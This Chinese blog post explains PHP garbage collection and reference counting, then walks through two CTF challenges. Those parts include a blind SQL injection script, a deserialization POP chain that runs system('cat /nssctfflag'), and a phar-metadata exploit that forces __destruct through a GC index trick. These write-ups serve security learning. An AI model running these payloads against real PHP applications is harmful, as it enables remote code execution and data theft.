PHP 垃圾回收机制(GC)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、GC回收机制是什么?

 二、引用技术的知识

三、GC垃圾回收机制的使用

四、[CISCN 2022 初赛]ezpentest

五、NSSCTF prize_p1


前言

提示:这里可以添加本文要记录的大概内容:

以前刷题的时候也遇到过PHP的GC回收机制,觉得挺烦的,一直没有去尝试,今天做题的时候在[CISCN 2022 初赛]ezpentest又遇到了,对GC回收机制有所了解,做下记录,下文介绍皆针对PHP7以上。


提示:以下是本篇文章正文内容,下面案例可供参考

一、GC回收机制是什么?

PHP与其它语言一样,会有垃圾回收机制,就是我们所说的GC机制,能够销毁内存空间,防止内存溢出,PHP的垃圾回收机制利用引用计数的机制来确定是否需要回收,简单来说,就是引用计数为0的变量可以进行回收,而这些变量存在于一个"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息,一个是标识变量是否是引用集合,用于分开普通变量和引用变量,另一个是"refcount",用于确定指向此变量的个数,即引用的个数。GC回收机制可以通过修改PHP配置开实现开启和关闭。

 二、引用技术的知识

1、普通类型的引用计数

在PHP5中,当一个变量=赋值给另一个变量,不会立即为新变量分配内存空间,而是在原变量的zval中给refcount中加1,当原变量发生改变,才会分配内存空间,而PHP7不一样,PHP7不会再给变量如整型,字符串等进行计数,如果给一个变量&赋值,之前 = 赋值的变量会分配空间。

<?php

$a = 1;
xdebug_debug_zval('a');


$b = $a;
xdebug_debug_zval('a');

$c = &$a;
xdebug_debug_zval('a');

 refcount不对数字,字符串,浮点数等标量进行refcount进行计数,当使用&引用后,is_ref区分引用变量,refcount变为了2。

2、复合类型的计数知识

和标量不一样,考虑复合类型如array,object时,会生成多个eval变量容器。

<?php

$a = array( 'name' => 'aiwin', 'number' => 42 );
xdebug_debug_zval( 'a' );

class Test{
    public $a = 1;
    public $b = 2;

    function handle(){
        echo 'hehe';
    }
}

$test = new Test();
xdebug_debug_zval('test');

可以看到, 分配了多个zval容器,其中数组a和类Test中的变量指向数字标量依旧不进行refcount的计数。

<?php

$a = array('name'=>"aiwin","float"=>4.25);
xdebug_debug_zval( 'a' );

$a[] = &$a;
xdebug_debug_zval('a');

第二个is_ref=1,用于区别引用变量和普通变量,由于数组a被&引用了1次,因此refcount为2,浮点型refcount依旧不计数,数组中的name第一次先计数为1,再被引用了后,计数升为2,最后的&array表示递归循环引用。

三、GC垃圾回收机制的使用

那么,说到底GC回收机制有什么能利用的点呢,这就需要联系起PHP的魔术方法__destrcut函数,在程序结束后php会自动调用__destruct进行自动销毁,如果程序报错或者抛出异常则不会触发__destruct。先来简单看看实际情况下GC回收机制的工作。

<?php
class aiwin{
    public $test;
    public function __construct($test)
    {
        $this->test = $test;
        echo $this->test."构造函数执行"."</br>";
    }
    public function __destruct(){
        echo $this->test."销毁函数执行"."</br>";
    }
}

new aiwin(1);
$a = new aiwin(2);
$b = new aiwin(3);

 

可以看到直接使用new创建类的时,没有进行指向,直接就触发了__destrcut函数当作垃圾回收了。 

那假如使用数组的形式来存储类的创建呢

<?php
class aiwin{
    public $test;
    public function __construct($test)
    {
        $this->test = $test;
        echo $this->test."构造函数执行"."</br>";
    }
    public function __destruct(){
        echo $this->test."销毁函数执行"."</br>";
    }
}

$a=array(new aiwin(1),0);
$a[0]=$a[1];
$b=new aiwin(2);
$c=new aiwin(3);

new出来的类a依旧被立即销毁,因为最后把数组的第二项即0赋值给了数组的第一项,也就相等于new aiwin(1)执行是NULL,也会触发__destruct被当成垃圾回收,这就出现了可利用的点。

四、[CISCN 2022 初赛]ezpentest

 题目给出了过滤的东西

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }

?>

题目过滤了空格和其它空白字符以及rlike,regexp等字符,这里需要进行sql注入,这里跟GC无关,直接贴出别人的脚本。

import string

import requests

str = string.ascii_letters + string.digits + "$@!^&}{_%"
# 匹配到括号的内容则会溢出,导致500错误
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28993/login.php'
f = ""
while 1:
    for i in str:
        if i in '%_':
            i = "\\" + i

        resp = requests.post(url=url, data={"username": payload.format(f + i),
                                            "password": "0"})
        # resp=requests.post(url=url,data={"username":"0",
        # "password":payload1.format(f+i)})
        if resp.status_code == 500:
            f += i
            print(f)
            break

使用了case when,使用utf8mb4_bin字符集,这样是为了区别大小写,一旦like匹配正确则会9223372036854775807+1导致溢出,使服务器报500错误,注意当有%_时,要加\进行区分,爆出了用户名和密码登录后是一段PHP的混淆代码,利用工具进行解码后得到两个PHP文件。

1Nd3x_Y0u_N3v3R_Kn0W.php

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

 SomeClass.php文件:

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);  //die方法字符串处理
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>

这里是一个反序列化的Pop链构造,然后进而达到RCE的效果。

 

通过类E的die方法将类当作字符串调用,进而触发类B的toString方法,让触发类A中的see方法,通过see方法中的($b->a)($b->b)进行RCE。完整的Pop链E::__die()->B::__toString()->A:see()。 see()方法中A->b赋值要不是SomeClass达到原生类如ArrayObject,Error等等。

1Nd3x_Y0u_N3v3R_Kn0W.php文件中的spl_autoload_register是自动加载类的,简单来说就是通过这个方法调用function Al()进而包含SomeClass.php文件。但是关键在于Some被过滤了,进而会抛出错误,导致__destruct方法无法触发。因此要考虑一种方法,能够包含SomeClass类的同时进而也能触发__destruct函数的方法,那么就要利用到上文所说的GC回收机制,WP如下。

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}

class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class SomeClass{
    public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;

在构造好反序列赋值给结果$result后,通过数组的形式,键值0是$result,键值1是0,然后通过replace的方法将i本应该等于1的修改成了i=0,从而把i=0指向了NULL,进而造成了GC的垃圾回收机制,触发了__destruct函数。

$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);

 

五、NSSCTF prize_p1

进入题目:

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

是一道反序列化的题目,跟以往反序列化题目不同的是最后面多了一个throw new Error(),同时对传入的内容做了过滤,禁止了flag、php、base64、read等等,但是没有禁止phar,因此可以考虑使用phar协议。思路大概就是通过config为w,写入phar文件到/tmp/a.txt中,然后再让config为r并且利用phar协议解析/tmp/a.txt文件,从而触发掉_destruct获取到flag,但是throw new Error()会抛出异常,提前阻止进入__destruct函数,从而无法获取到flag,因此要自己触发回收机制,这里就跟上面一样,都是利用GC,使计数指向空,从而回收。

解题如下:0

<?php
class getflag {
}

$c=new getflag();
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$c,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar文件后,修改指向,让数组中原本为1的改成0,从而使得Array[0]指向NULL,触发GC回收机制。但是这里还能显示getflag,因此需要进行zip压缩绕过flag,鉴于以前的经验,在我的电脑上,使用gzip压缩,并且使用sha256修改签名是可以的,直接SHA-1修改签名并且压缩为zip不行。

from hashlib import sha256

file = open('ph1.phar', 'rb').read()

data = file[:-28]

final = file[-8:]

newfile = data+sha256(data).digest()+final

open('poc.phar', 'wb').write(newfile)

import requests


url = 'http://1.14.71.254:28970/'
requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('poc.phar.gz', 'rb').read()
    }
)

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
)
res.encoding='utf-8'
print(res.text)

参考链接:(2条消息) [CISCN 2022 初赛]ezpentest_v2ish1yan的博客-CSDN博客

 总结

GC回收机制还能应用在phar的序列化中,进行签名的修改达到效果,还是要多学习。

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值